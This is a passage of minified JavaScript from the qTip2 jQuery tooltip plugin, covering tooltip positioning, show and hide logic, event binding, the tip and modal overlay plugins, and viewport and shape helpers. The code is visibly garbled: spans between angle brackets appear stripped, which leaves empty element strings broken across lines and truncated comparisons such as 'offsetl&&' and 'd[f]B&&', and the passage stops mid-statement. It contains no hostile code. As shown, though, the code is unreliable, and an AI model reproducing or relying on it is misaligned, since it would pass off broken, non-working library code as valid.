    ",{id:b,"class":S+"-title","aria-atomic":D})).insertBefore(a.content).delegate(".qtip-close","mousedown keydown mouseup keyup mouseout",function(a){d(this).toggleClass("ui-state-active ui-state-focus","down"===a.type.substr(-4))}).delegate(".qtip-close","mouseover mouseout",function(a){d(this).toggleClass("ui-state-hover","mouseover"===a.type)}),this.options.content.button&&this._createButton()},z._removeTitle=function(a){var b=this.elements;b.title&&(b.titlebar.remove(),b.titlebar=b.title=b.button=F,a!==E&&this.reposition())},z._createPosClass=function(a){return S+"-pos-"+(a||this.options.position.my).abbrev()},z.reposition=function(c,e){if(!this.rendered||this.positioning||this.destroyed)return this;this.positioning=D;var f,g,h,i,j=this.cache,k=this.tooltip,l=this.options.position,m=l.target,n=l.my,o=l.at,p=l.viewport,q=l.container,r=l.adjust,s=r.method.split(" "),t=k.outerWidth(E),u=k.outerHeight(E),v=0,w=0,x=k.css("position"),y={left:0,top:0},z=k[0].offsetWidth>0,A=c&&"scroll"===c.type,B=d(a),C=q[0].ownerDocument,F=this.mouse;if(d.isArray(m)&&2===m.length)o={x:L,y:K},y={left:m[0],top:m[1]};else if("mouse"===m)o={x:L,y:K},(!r.mouse||this.options.hide.distance)&&j.origin&&j.origin.pageX?c=j.origin:!c||c&&("resize"===c.type||"scroll"===c.type)?c=j.event:F&&F.pageX&&(c=F),"static"!==x&&(y=q.offset()),C.body.offsetWidth!==(a.innerWidth||C.documentElement.clientWidth)&&(g=d(b.body).offset()),y={left:c.pageX-y.left+(g&&g.left||0),top:c.pageY-y.top+(g&&g.top||0)},r.mouse&&A&&F&&(y.left-=(F.scrollX||0)-B.scrollLeft(),y.top-=(F.scrollY||0)-B.scrollTop());else{if("event"===m?c&&c.target&&"scroll"!==c.type&&"resize"!==c.type?j.target=d(c.target):c.target||(j.target=this.elements.target):"event"!==m&&(j.target=d(m.jquery?m:this.elements.target)),m=j.target,m=d(m).eq(0),0===m.length)return this;m[0]===b||m[0]===a?(v=db.iOS?a.innerWidth:m.width(),w=db.iOS?a.innerHeight:m.height(),m[0]===a&&(y={top:(p||m).scrollTop(),left:(p||m).scrollLeft()})):R.imagemap&&m.is("area")?f=R.imagemap(this,m,o,R.viewport?s:E):R.svg&&m&&m[0].ownerSVGElement?f=R.svg(this,m,o,R.viewport?s:E):(v=m.outerWidth(E),w=m.outerHeight(E),y=m.offset()),f&&(v=f.width,w=f.height,g=f.offset,y=f.position),y=this.reposition.offset(m,y,q),(db.iOS>3.1&&db.iOS<4.1||db.iOS>=4.3&&db.iOS<4.33||!db.iOS&&"fixed"===x)&&(y.left-=B.scrollLeft(),y.top-=B.scrollTop()),(!f||f&&f.adjustable!==E)&&(y.left+=o.x===N?v:o.x===O?v/2:0,y.top+=o.y===M?w:o.y===O?w/2:0)}return y.left+=r.x+(n.x===N?-t:n.x===O?-t/2:0),y.top+=r.y+(n.y===M?-u:n.y===O?-u/2:0),R.viewport?(h=y.adjusted=R.viewport(this,y,l,v,w,t,u),g&&h.left&&(y.left+=g.left),g&&h.top&&(y.top+=g.top),h.my&&(this.position.my=h.my)):y.adjusted={left:0,top:0},j.posClass!==(i=this._createPosClass(this.position.my))&&k.removeClass(j.posClass).addClass(j.posClass=i),this._trigger("move",[y,p.elem||p],c)?(delete y.adjusted,e===E||!z||isNaN(y.left)||isNaN(y.top)||"mouse"===m||!d.isFunction(l.effect)?k.css(y):d.isFunction(l.effect)&&(l.effect.call(k,this,d.extend({},y)),k.queue(function(a){d(this).css({opacity:"",height:""}),db.ie&&this.style.removeAttribute("filter"),a()})),this.positioning=E,this):this},z.reposition.offset=function(a,c,e){function f(a,b){c.left+=b*a.scrollLeft(),c.top+=b*a.scrollTop()}if(!e[0])return c;var g,h,i,j,k=d(a[0].ownerDocument),l=!!db.ie&&"CSS1Compat"!==b.compatMode,m=e[0];do"static"!==(h=d.css(m,"position"))&&("fixed"===h?(i=m.getBoundingClientRect(),f(k,-1)):(i=d(m).position(),i.left+=parseFloat(d.css(m,"borderLeftWidth"))||0,i.top+=parseFloat(d.css(m,"borderTopWidth"))||0),c.left-=i.left+(parseFloat(d.css(m,"marginLeft"))||0),c.top-=i.top+(parseFloat(d.css(m,"marginTop"))||0),g||"hidden"===(j=d.css(m,"overflow"))||"visible"===j||(g=d(m)));while(m=m.offsetParent);return g&&(g[0]!==k[0]||l)&&f(g,1),c};var gb=(A=z.reposition.Corner=function(a,b){a=(""+a).replace(/([A-Z])/," $1").replace(/middle/gi,O).toLowerCase(),this.x=(a.match(/left|right/i)||a.match(/center/)||["inherit"])[0].toLowerCase(),this.y=(a.match(/top|bottom|center/i)||["inherit"])[0].toLowerCase(),this.forceY=!!b;var c=a.charAt(0);this.precedance="t"===c||"b"===c?H:G}).prototype;gb.invert=function(a,b){this[a]=this[a]===L?N:this[a]===N?L:b||this[a]},gb.string=function(a){var b=this.x,c=this.y,d=b!==c?"center"===b||"center"!==c&&(this.precedance===H||this.forceY)?[c,b]:[b,c]:[b];return a!==!1?d.join(" "):d},gb.abbrev=function(){var a=this.string(!1);return a[0].charAt(0)+(a[1]&&a[1].charAt(0)||"")},gb.clone=function(){return new A(this.string(),this.forceY)},z.toggle=function(a,c){var e=this.cache,f=this.options,g=this.tooltip;if(c){if(/over|enter/.test(c.type)&&e.event&&/out|leave/.test(e.event.type)&&f.show.target.add(c.target).length===f.show.target.length&&g.has(c.relatedTarget).length)return this;e.event=d.event.fix(c)}if(this.waiting&&!a&&(this.hiddenDuringWait=D),!this.rendered)return a?this.render(1):this;if(this.destroyed||this.disabled)return this;var h,i,j,k=a?"show":"hide",l=this.options[k],m=(this.options[a?"hide":"show"],this.options.position),n=this.options.content,o=this.tooltip.css("width"),p=this.tooltip.is(":visible"),q=a||1===l.target.length,r=!c||l.target.length<2||e.target[0]===c.target;return(typeof a).search("boolean|number")&&(a=!p),h=!g.is(":animated")&&p===a&&r,i=h?F:!!this._trigger(k,[90]),this.destroyed?this:(i!==E&&a&&this.focus(c),!i||h?this:(d.attr(g[0],"aria-hidden",!a),a?(this.mouse&&(e.origin=d.event.fix(this.mouse)),d.isFunction(n.text)&&this._updateContent(n.text,E),d.isFunction(n.title)&&this._updateTitle(n.title,E),!C&&"mouse"===m.target&&m.adjust.mouse&&(d(b).bind("mousemove."+S,this._storeMouse),C=D),o||g.css("width",g.outerWidth(E)),this.reposition(c,arguments[2]),o||g.css("width",""),l.solo&&("string"==typeof l.solo?d(l.solo):d(W,l.solo)).not(g).not(l.target).qtip("hide",d.Event("tooltipsolo"))):(clearTimeout(this.timers.show),delete e.origin,C&&!d(W+'[tracking="true"]:visible',l.solo).not(g).length&&(d(b).unbind("mousemove."+S),C=E),this.blur(c)),j=d.proxy(function(){a?(db.ie&&g[0].style.removeAttribute("filter"),g.css("overflow",""),"string"==typeof l.autofocus&&d(this.options.show.autofocus,g).focus(),this.options.show.target.trigger("qtip-"+this.id+"-inactive")):g.css({display:"",visibility:"",opacity:"",left:"",top:""}),this._trigger(a?"visible":"hidden")},this),l.effect===E||q===E?(g[k](),j()):d.isFunction(l.effect)?(g.stop(1,1),l.effect.call(g,this),g.queue("fx",function(a){j(),a()})):g.fadeTo(90,a?1:0,j),a&&l.target.trigger("qtip-"+this.id+"-inactive"),this))},z.show=function(a){return this.toggle(D,a)},z.hide=function(a){return this.toggle(E,a)},z.focus=function(a){if(!this.rendered||this.destroyed)return this;var b=d(W),c=this.tooltip,e=parseInt(c[0].style.zIndex,10),f=y.zindex+b.length;return c.hasClass($)||this._trigger("focus",[f],a)&&(e!==f&&(b.each(function(){this.style.zIndex>e&&(this.style.zIndex=this.style.zIndex-1)}),b.filter("."+$).qtip("blur",a)),c.addClass($)[0].style.zIndex=f),this},z.blur=function(a){return!this.rendered||this.destroyed?this:(this.tooltip.removeClass($),this._trigger("blur",[this.tooltip.css("zIndex")],a),this)},z.disable=function(a){return this.destroyed?this:("toggle"===a?a=!(this.rendered?this.tooltip.hasClass(ab):this.disabled):"boolean"!=typeof a&&(a=D),this.rendered&&this.tooltip.toggleClass(ab,a).attr("aria-disabled",a),this.disabled=!!a,this)},z.enable=function(){return this.disable(E)},z._createButton=function(){var a=this,b=this.elements,c=b.tooltip,e=this.options.content.button,f="string"==typeof e,g=f?e:"Close tooltip";b.button&&b.button.remove(),b.button=e.jquery?e:d("",{"class":"qtip-close "+(this.options.style.widget?"":S+"-icon"),title:g,"aria-label":g}).prepend(d("",{"class":"ui-icon ui-icon-close",html:"×"})),b.button.appendTo(b.titlebar||c).attr("role","button").click(function(b){return c.hasClass(ab)||a.hide(b),E})},z._updateButton=function(a){if(!this.rendered)return E;var b=this.elements.button;a?this._createButton():b.remove()},z._setWidget=function(){var a=this.options.style.widget,b=this.elements,c=b.tooltip,d=c.hasClass(ab);c.removeClass(ab),ab=a?"ui-state-disabled":"qtip-disabled",c.toggleClass(ab,d),c.toggleClass("ui-helper-reset "+k(),a).toggleClass(Z,this.options.style.def&&!a),b.content&&b.content.toggleClass(k("content"),a),b.titlebar&&b.titlebar.toggleClass(k("header"),a),b.button&&b.button.toggleClass(S+"-icon",!a)},z._storeMouse=function(a){return(this.mouse=d.event.fix(a)).type="mousemove",this},z._bind=function(a,b,c,e,f){if(a&&c&&b.length){var g="."+this._id+(e?"-"+e:"");return d(a).bind((b.split?b:b.join(g+" "))+g,d.proxy(c,f||this)),this}},z._unbind=function(a,b){return a&&d(a).unbind("."+this._id+(b?"-"+b:"")),this},z._trigger=function(a,b,c){var e=d.Event("tooltip"+a);return e.originalEvent=c&&d.extend({},c)||this.cache.event||F,this.triggering=a,this.tooltip.trigger(e,[this].concat(b||[])),this.triggering=E,!e.isDefaultPrevented()},z._bindEvents=function(a,b,c,e,f,g){var h=c.filter(e).add(e.filter(c)),i=[];h.length&&(d.each(b,function(b,c){var e=d.inArray(c,a);e>-1&&i.push(a.splice(e,1)[0])}),i.length&&(this._bind(h,i,function(a){var b=this.rendered?this.tooltip[0].offsetWidth>0:!1;(b?g:f).call(this,a)}),c=c.not(h),e=e.not(h))),this._bind(c,a,f),this._bind(e,b,g)},z._assignInitialEvents=function(a){function b(a){return this.disabled||this.destroyed?E:(this.cache.event=a&&d.event.fix(a),this.cache.target=a&&d(a.target),clearTimeout(this.timers.show),void(this.timers.show=l.call(this,function(){this.render("object"==typeof a||c.show.ready)},c.prerender?0:c.show.delay)))}var c=this.options,e=c.show.target,f=c.hide.target,g=c.show.event?d.trim(""+c.show.event).split(" "):[],h=c.hide.event?d.trim(""+c.hide.event).split(" "):[];this._bind(this.elements.target,["remove","removeqtip"],function(){this.destroy(!0)},"destroy"),/mouse(over|enter)/i.test(c.show.event)&&!/mouse(out|leave)/i.test(c.hide.event)&&h.push("mouseleave"),this._bind(e,"mousemove",function(a){this._storeMouse(a),this.cache.onTarget=D}),this._bindEvents(g,h,e,f,b,function(){return this.timers?void clearTimeout(this.timers.show):E}),(c.show.ready||c.prerender)&&b.call(this,a)},z._assignEvents=function(){var c=this,e=this.options,f=e.position,g=this.tooltip,h=e.show.target,i=e.hide.target,j=f.container,k=f.viewport,l=d(b),q=(d(b.body),d(a)),r=e.show.event?d.trim(""+e.show.event).split(" "):[],s=e.hide.event?d.trim(""+e.hide.event).split(" "):[];d.each(e.events,function(a,b){c._bind(g,"toggle"===a?["tooltipshow","tooltiphide"]:["tooltip"+a],b,null,g)}),/mouse(out|leave)/i.test(e.hide.event)&&"window"===e.hide.leave&&this._bind(l,["mouseout","blur"],function(a){/select|option/.test(a.target.nodeName)||a.relatedTarget||this.hide(a)}),e.hide.fixed?i=i.add(g.addClass(Y)):/mouse(over|enter)/i.test(e.show.event)&&this._bind(i,"mouseleave",function(){clearTimeout(this.timers.show)}),(""+e.hide.event).indexOf("unfocus")>-1&&this._bind(j.closest("html"),["mousedown","touchstart"],function(a){var b=d(a.target),c=this.rendered&&!this.tooltip.hasClass(ab)&&this.tooltip[0].offsetWidth>0,e=b.parents(W).filter(this.tooltip[0]).length>0;b[0]===this.target[0]||b[0]===this.tooltip[0]||e||this.target.has(b[0]).length||!c||this.hide(a)}),"number"==typeof e.hide.inactive&&(this._bind(h,"qtip-"+this.id+"-inactive",o,"inactive"),this._bind(i.add(g),y.inactiveEvents,o)),this._bindEvents(r,s,h,i,m,n),this._bind(h.add(g),"mousemove",function(a){if("number"==typeof e.hide.distance){var b=this.cache.origin||{},c=this.options.hide.distance,d=Math.abs;(d(a.pageX-b.pageX)>=c||d(a.pageY-b.pageY)>=c)&&this.hide(a)}this._storeMouse(a)}),"mouse"===f.target&&f.adjust.mouse&&(e.hide.event&&this._bind(h,["mouseenter","mouseleave"],function(a){return this.cache?void(this.cache.onTarget="mouseenter"===a.type):E}),this._bind(l,"mousemove",function(a){this.rendered&&this.cache.onTarget&&!this.tooltip.hasClass(ab)&&this.tooltip[0].offsetWidth>0&&this.reposition(a)})),(f.adjust.resize||k.length)&&this._bind(d.event.special.resize?k:q,"resize",p),f.adjust.scroll&&this._bind(q.add(f.container),"scroll",p)},z._unassignEvents=function(){var c=this.options,e=c.show.target,f=c.hide.target,g=d.grep([this.elements.target[0],this.rendered&&this.tooltip[0],c.position.container[0],c.position.viewport[0],c.position.container.closest("html")[0],a,b],function(a){return"object"==typeof a});e&&e.toArray&&(g=g.concat(e.toArray())),f&&f.toArray&&(g=g.concat(f.toArray())),this._unbind(g)._unbind(g,"destroy")._unbind(g,"inactive")},d(function(){q(W,["mouseenter","mouseleave"],function(a){var b="mouseenter"===a.type,c=d(a.currentTarget),e=d(a.relatedTarget||a.target),f=this.options;b?(this.focus(a),c.hasClass(Y)&&!c.hasClass(ab)&&clearTimeout(this.timers.hide)):"mouse"===f.position.target&&f.position.adjust.mouse&&f.hide.event&&f.show.target&&!e.closest(f.show.target[0]).length&&this.hide(a),c.toggleClass(_,b)}),q("["+U+"]",X,o)}),y=d.fn.qtip=function(a,b,e){var f=(""+a).toLowerCase(),g=F,i=d.makeArray(arguments).slice(1),j=i[i.length-1],k=this[0]?d.data(this[0],S):F;return!arguments.length&&k||"api"===f?k:"string"==typeof a?(this.each(function(){var a=d.data(this,S);if(!a)return D;if(j&&j.timeStamp&&(a.cache.event=j),!b||"option"!==f&&"options"!==f)a[f]&&a[f].apply(a,i);else{if(e===c&&!d.isPlainObject(b))return g=a.get(b),E;a.set(b,e)}}),g!==F?g:this):"object"!=typeof a&&arguments.length?void 0:(k=h(d.extend(D,{},a)),this.each(function(a){var b,c;return c=d.isArray(k.id)?k.id[a]:k.id,c=!c||c===E||c.length<1||y.api[c]?y.nextid++:c,b=r(d(this),c,k),b===E?D:(y.api[c]=b,d.each(R,function(){"initialize"===this.initialize&&this(b)}),void b._assignInitialEvents(j))}))},d.qtip=e,y.api={},d.each({attr:function(a,b){if(this.length){var c=this[0],e="title",f=d.data(c,"qtip");if(a===e&&f&&"object"==typeof f&&f.options.suppress)return arguments.length<2?d.attr(c,cb):(f&&f.options.content.attr===e&&f.cache.attr&&f.set("content.text",b),this.attr(cb,b))}return d.fn["attr"+bb].apply(this,arguments)},clone:function(a){var b=(d([]),d.fn["clone"+bb].apply(this,arguments));return a||b.filter("["+cb+"]").attr("title",function(){return d.attr(this,cb)}).removeAttr(cb),b}},function(a,b){if(!b||d.fn[a+bb])return D;var c=d.fn[a+bb]=d.fn[a];d.fn[a]=function(){return b.apply(this,arguments)||c.apply(this,arguments)}}),d.ui||(d["cleanData"+bb]=d.cleanData,d.cleanData=function(a){for(var b,c=0;(b=d(a[c])).length;c++)if(b.attr(T))try{b.triggerHandler("removeqtip")}catch(e){}d["cleanData"+bb].apply(this,arguments)}),y.version="2.2.1",y.nextid=0,y.inactiveEvents=X,y.zindex=15e3,y.defaults={prerender:E,id:E,overwrite:D,suppress:D,content:{text:D,attr:"title",title:E,button:E},position:{my:"top left",at:"bottom right",target:E,container:E,viewport:E,adjust:{x:0,y:0,mouse:D,scroll:D,resize:D,method:"flipinvert flipinvert"},effect:function(a,b){d(this).animate(b,{duration:200,queue:E})}},show:{target:E,event:"mouseenter",effect:D,delay:90,solo:E,ready:E,autofocus:E},hide:{target:E,event:"mouseleave",effect:D,delay:0,fixed:E,inactive:E,leave:"window",distance:E},style:{classes:"",widget:E,width:E,height:E,def:D},events:{render:F,move:F,show:F,hide:F,toggle:F,visible:F,hidden:F,focus:F,blur:F}};var hb,ib="margin",jb="border",kb="color",lb="background-color",mb="transparent",nb=" !important",ob=!!b.createElement("canvas").getContext,pb=/rgba?\(0, 0, 0(, 0)?\)|transparent|#123456/i,qb={},rb=["Webkit","O","Moz","ms"];if(ob)var sb=a.devicePixelRatio||1,tb=function(){var a=b.createElement("canvas").getContext("2d");return a.backingStorePixelRatio||a.webkitBackingStorePixelRatio||a.mozBackingStorePixelRatio||a.msBackingStorePixelRatio||a.oBackingStorePixelRatio||1}(),ub=sb/tb;else var vb=function(a,b,c){return"'};d.extend(v.prototype,{init:function(a){var b,c;c=this.element=a.elements.tip=d("
    ",{"class":S+"-tip"}).prependTo(a.tooltip),ob?(b=d("").appendTo(this.element)[0].getContext("2d"),b.lineJoin="miter",b.miterLimit=1e5,b.save()):(b=vb("shape",'coordorigin="0,0"',"position:absolute;"),this.element.html(b+b),a._bind(d("*",c).add(c),["click","mousedown"],function(a){a.stopPropagation()},this._ns)),a._bind(a.tooltip,"tooltipmove",this.reposition,this._ns,this),this.create()},_swapDimensions:function(){this.size[0]=this.options.height,this.size[1]=this.options.width},_resetDimensions:function(){this.size[0]=this.options.width,this.size[1]=this.options.height},_useTitle:function(a){var b=this.qtip.elements.titlebar;return b&&(a.y===K||a.y===O&&this.element.position().top+this.size[1]/2+this.options.offsetl&&!pb.test(e[1])&&(e[0]=e[1]),this.border=l=p.border!==D?p.border:l):this.border=l=0,k=this.size=this._calculateSize(b),n.css({width:k[0],height:k[1],lineHeight:k[1]+"px"}),j=b.precedance===H?[s(r.x===L?l:r.x===N?k[0]-q[0]-l:(k[0]-q[0])/2),s(r.y===K?k[1]-q[1]:0)]:[s(r.x===L?k[0]-q[0]:0),s(r.y===K?l:r.y===M?k[1]-q[1]-l:(k[1]-q[1])/2)],ob?(g=o[0].getContext("2d"),g.restore(),g.save(),g.clearRect(0,0,6e3,6e3),h=this._calculateTip(r,q,ub),i=this._calculateTip(r,this.size,ub),o.attr(I,k[0]*ub).attr(J,k[1]*ub),o.css(I,k[0]).css(J,k[1]),this._drawCoords(g,i),g.fillStyle=e[1],g.fill(),g.translate(j[0]*ub,j[1]*ub),this._drawCoords(g,h),g.fillStyle=e[0],g.fill()):(h=this._calculateTip(r),h="m"+h[0]+","+h[1]+" l"+h[2]+","+h[3]+" "+h[4]+","+h[5]+" xe",j[2]=l&&/^(r|b)/i.test(b.string())?8===db.ie?2:1:0,o.css({coordsize:k[0]+l+" "+(k[1]+l),antialias:""+(r.string().indexOf(O)>-1),left:j[0]-j[2]*Number(f===G),top:j[1]-j[2]*Number(f===H),width:k[0]+l,height:k[1]+l}).each(function(a){var b=d(this);b[b.prop?"prop":"attr"]({coordsize:k[0]+l+" "+(k[1]+l),path:h,fillcolor:e[0],filled:!!a,stroked:!a}).toggle(!(!l&&!a)),!a&&b.html(vb("stroke",'weight="'+2*l+'px" color="'+e[1]+'" miterlimit="1000" joinstyle="miter"'))})),a.opera&&setTimeout(function(){m.tip.css({display:"inline-block",visibility:"visible"})},1),c!==E&&this.calculate(b,k)},calculate:function(a,b){if(!this.enabled)return E;var c,e,f=this,g=this.qtip.elements,h=this.element,i=this.options.offset,j=(g.tooltip.hasClass("ui-widget"),{});return a=a||this.corner,c=a.precedance,b=b||this._calculateSize(a),e=[a.x,a.y],c===G&&e.reverse(),d.each(e,function(d,e){var h,k,l; e===O?(h=c===H?L:K,j[h]="50%",j[ib+"-"+h]=-Math.round(b[c===H?0:1]/2)+i):(h=f._parseWidth(a,e,g.tooltip),k=f._parseWidth(a,e,g.content),l=f._parseRadius(a),j[e]=Math.max(-f.border,d?k:i+(l>h?l:-h)))}),j[a[c]]-=b[c===G?0:1],h.css({margin:"",top:"",bottom:"",left:"",right:""}).css(j),j},reposition:function(a,b,d){function e(a,b,c,d,e){a===Q&&j.precedance===b&&k[d]&&j[c]!==O?j.precedance=j.precedance===G?H:G:a!==Q&&k[d]&&(j[b]=j[b]===O?k[d]>0?d:e:j[b]===d?e:d)}function f(a,b,e){j[a]===O?p[ib+"-"+b]=o[a]=g[ib+"-"+b]-k[b]:(h=g[e]!==c?[k[b],-g[b]]:[-k[b],g[b]],(o[a]=Math.max(h[0],h[1]))>h[0]&&(d[b]-=k[b],o[b]=E),p[g[e]!==c?e:b]=o[a])}if(this.enabled){var g,h,i=b.cache,j=this.corner.clone(),k=d.adjusted,l=b.options.position.adjust.method.split(" "),m=l[0],n=l[1]||l[0],o={left:E,top:E,x:0,y:0},p={};this.corner.fixed!==D&&(e(m,G,H,L,N),e(n,H,G,K,M),(j.string()!==i.corner.string()||i.cornerTop!==k.top||i.cornerLeft!==k.left)&&this.update(j,E)),g=this.calculate(j),g.right!==c&&(g.left=-g.right),g.bottom!==c&&(g.top=-g.bottom),g.user=this.offset,(o.left=m===Q&&!!k.left)&&f(G,L,N),(o.top=n===Q&&!!k.top)&&f(H,K,M),this.element.css(p).toggle(!(o.x&&o.y||j.x===O&&o.y||j.y===O&&o.x)),d.left-=g.left.charAt?g.user:m!==Q||o.top||!o.left&&!o.top?g.left+this.border:0,d.top-=g.top.charAt?g.user:n!==Q||o.left||!o.left&&!o.top?g.top+this.border:0,i.cornerLeft=k.left,i.cornerTop=k.top,i.corner=j.clone()}},destroy:function(){this.qtip._unbind(this.qtip.tooltip,this._ns),this.qtip.elements.tip&&this.qtip.elements.tip.find("*").remove().end().remove()}}),hb=R.tip=function(a){return new v(a,a.options.style.tip)},hb.initialize="render",hb.sanitize=function(a){if(a.style&&"tip"in a.style){var b=a.style.tip;"object"!=typeof b&&(b=a.style.tip={corner:b}),/string|boolean/i.test(typeof b.corner)||(b.corner=D)}},B.tip={"^position.my|style.tip.(corner|mimic|border)$":function(){this.create(),this.qtip.reposition()},"^style.tip.(height|width)$":function(a){this.size=[a.width,a.height],this.update(),this.qtip.reposition()},"^content.title|style.(classes|widget)$":function(){this.update()}},d.extend(D,y.defaults,{style:{tip:{corner:D,mimic:E,width:6,height:6,border:D,offset:0}}});var wb,xb,yb="qtip-modal",zb="."+yb;xb=function(){function a(a){if(d.expr[":"].focusable)return d.expr[":"].focusable;var b,c,e,f=!isNaN(d.attr(a,"tabindex")),g=a.nodeName&&a.nodeName.toLowerCase();return"area"===g?(b=a.parentNode,c=b.name,a.href&&c&&"map"===b.nodeName.toLowerCase()?(e=d("img[usemap=#"+c+"]")[0],!!e&&e.is(":visible")):!1):/input|select|textarea|button|object/.test(g)?!a.disabled:"a"===g?a.href||f:f}function c(a){k.length<1&&a.length?a.not("body").blur():k.first().focus()}function e(a){if(i.is(":visible")){var b,e=d(a.target),h=f.tooltip,j=e.closest(W);b=j.length<1?E:parseInt(j[0].style.zIndex,10)>parseInt(h[0].style.zIndex,10),b||e.closest(W)[0]===h[0]||c(e),g=a.target===k[k.length-1]}}var f,g,h,i,j=this,k={};d.extend(j,{init:function(){return i=j.elem=d("
    ",{id:"qtip-overlay",html:"
    ",mousedown:function(){return E}}).hide(),d(b.body).bind("focusin"+zb,e),d(b).bind("keydown"+zb,function(a){f&&f.options.show.modal.escape&&27===a.keyCode&&f.hide(a)}),i.bind("click"+zb,function(a){f&&f.options.show.modal.blur&&f.hide(a)}),j},update:function(b){f=b,k=b.options.show.modal.stealfocus!==E?b.tooltip.find("*").filter(function(){return a(this)}):[]},toggle:function(a,e,g){var k=(d(b.body),a.tooltip),l=a.options.show.modal,m=l.effect,n=e?"show":"hide",o=i.is(":visible"),p=d(zb).filter(":visible:not(:animated)").not(k);return j.update(a),e&&l.stealfocus!==E&&c(d(":focus")),i.toggleClass("blurs",l.blur),e&&i.appendTo(b.body),i.is(":animated")&&o===e&&h!==E||!e&&p.length?j:(i.stop(D,E),d.isFunction(m)?m.call(i,e):m===E?i[n]():i.fadeTo(parseInt(g,10)||90,e?1:0,function(){e||i.hide()}),e||i.queue(function(a){i.css({left:"",top:""}),d(zb).length||i.detach(),a()}),h=e,f.destroyed&&(f=F),j)}}),j.init()},xb=new xb,d.extend(w.prototype,{init:function(a){var b=a.tooltip;return this.options.on?(a.elements.overlay=xb.elem,b.addClass(yb).css("z-index",y.modal_zindex+d(zb).length),a._bind(b,["tooltipshow","tooltiphide"],function(a,c,e){var f=a.originalEvent;if(a.target===b[0])if(f&&"tooltiphide"===a.type&&/mouse(leave|enter)/.test(f.type)&&d(f.relatedTarget).closest(xb.elem[0]).length)try{a.preventDefault()}catch(g){}else(!f||f&&"tooltipsolo"!==f.type)&&this.toggle(a,"tooltipshow"===a.type,e)},this._ns,this),a._bind(b,"tooltipfocus",function(a,c){if(!a.isDefaultPrevented()&&a.target===b[0]){var e=d(zb),f=y.modal_zindex+e.length,g=parseInt(b[0].style.zIndex,10);xb.elem[0].style.zIndex=f-1,e.each(function(){this.style.zIndex>g&&(this.style.zIndex-=1)}),e.filter("."+$).qtip("blur",a.originalEvent),b.addClass($)[0].style.zIndex=f,xb.update(c);try{a.preventDefault()}catch(h){}}},this._ns,this),void a._bind(b,"tooltiphide",function(a){a.target===b[0]&&d(zb).filter(":visible").not(b).last().qtip("focus",a)},this._ns,this)):this},toggle:function(a,b,c){return a&&a.isDefaultPrevented()?this:void xb.toggle(this.qtip,!!b,c)},destroy:function(){this.qtip.tooltip.removeClass(yb),this.qtip._unbind(this.qtip.tooltip,this._ns),xb.toggle(this.qtip,E),delete this.qtip.elements.overlay}}),wb=R.modal=function(a){return new w(a,a.options.show.modal)},wb.sanitize=function(a){a.show&&("object"!=typeof a.show.modal?a.show.modal={on:!!a.show.modal}:"undefined"==typeof a.show.modal.on&&(a.show.modal.on=D))},y.modal_zindex=y.zindex-200,wb.initialize="render",B.modal={"^show.modal.(on|blur)$":function(){this.destroy(),this.init(),this.qtip.elems.overlay.toggle(this.qtip.tooltip[0].offsetWidth>0)}},d.extend(D,y.defaults,{show:{modal:{on:E,effect:D,blur:D,stealfocus:D,escape:D}}}),R.viewport=function(c,d,e,f,g,h,i){function j(a,b,c,e,f,g,h,i,j){var k=d[f],s=u[a],t=v[a],w=c===Q,x=s===f?j:s===g?-j:-j/2,y=t===f?i:t===g?-i:-i/2,z=q[f]+r[f]-(n?0:m[f]),A=z-k,B=k+j-(h===I?o:p)-z,C=x-(u.precedance===a||s===u[b]?y:0)-(t===O?i/2:0);return w?(C=(s===f?1:-1)*x,d[f]+=A>0?A:B>0?-B:0,d[f]=Math.max(-m[f]+r[f],k-C,Math.min(Math.max(-m[f]+r[f]+(h===I?o:p),k+C),d[f],"center"===s?k-x:1e9))):(e*=c===P?2:0,A>0&&(s!==f||B>0)?(d[f]-=C+e,l.invert(a,f)):B>0&&(s!==g||A>0)&&(d[f]-=(s===O?-C:C)+e,l.invert(a,g)),d[f]B&&(d[f]=k,l=u.clone())),d[f]-k}var k,l,m,n,o,p,q,r,s=e.target,t=c.elements.tooltip,u=e.my,v=e.at,w=e.adjust,x=w.method.split(" "),y=x[0],z=x[1]||x[0],A=e.viewport,B=e.container,C=(c.cache,{left:0,top:0});return A.jquery&&s[0]!==a&&s[0]!==b.body&&"none"!==w.method?(m=B.offset()||C,n="static"===B.css("position"),k="fixed"===t.css("position"),o=A[0]===a?A.width():A.outerWidth(E),p=A[0]===a?A.height():A.outerHeight(E),q={left:k?0:A.scrollLeft(),top:k?0:A.scrollTop()},r=A.offset()||C,("shift"!==y||"shift"!==z)&&(l=u.clone()),C={left:"none"!==y?j(G,H,y,w.x,L,N,I,f,h):0,top:"none"!==z?j(H,G,z,w.y,K,M,J,g,i):0,my:l}):C},R.polys={polygon:function(a,b){var c,d,e,f={width:0,height:0,position:{top:1e10,right:0,bottom:0,left:1e10},adjustable:E},g=0,h=[],i=1,j=1,k=0,l=0;for(g=a.length;g--;)c=[parseInt(a[--g],10),parseInt(a[g+1],10)],c[0]>f.position.right&&(f.position.right=c[0]),c[0]f.position.bottom&&(f.position.bottom=c[1]),c[1]0&&e>0&&i>0&&j>0;)for(d=Math.floor(d/2),e=Math.floor(e/2),b.x===L?i=d:b.x===N?i=f.width-d:i+=Math.floor(d/2),b.y===K?j=e:b.y===M?j=f.height-e:j+=Math.floor(e/2),g=h.length;g--&&!(h.length<2);)k=h[g][0]-f.position.left,l=h[g][1]-f.position.top,(b.x===L&&k>=i||b.x===N&&i>=k||b.x===O&&(i>k||k>f.width-i)||b.y===K&&l>=j||b.y===M&&j>=l||b.y===O&&(j>l||l>f.height-j))&&h.splice(g,1);f.position={left:h[0][0],top:h[0][1]}}return f},rect:function(a,b,c,d){return{width:Math.abs(c-a),height:Math.abs(d-b),position:{left:Math.min(a,c),top:Math.min(b,d)}}},_angles:{tc:1.5,tr:7/4,tl:5/4,bc:.5,br:.25,bl:.75,rc:2,lc:1,c:0},ellipse:function(a,b,c,d,e){var f=R.polys._angles[e.abbrev()],g=0===f?0:c*Math.cos(f*Math.PI),h=d*Math.sin(f*Math.PI);return{width:2*c-Math.abs(g),height:2*d-Math.abs(h),position:{left:a+g,top:b+h},adjustable:E}},circle:function(a,b,c,d){return R.polys.ellipse(a,b,c,c,d)}},R.svg=function(a,c,e){for(var f,g,h,i,j,k,l,m,n,o=(d(b),c[0]),p=d(o.ownerSVGElement),q=o.ownerDocument,r=(parseInt(c.css("stroke-width"),10)||0)/2;!o.getBBox;)o=o.parentNode;if(!o.getBBox||!o.parentNode)return 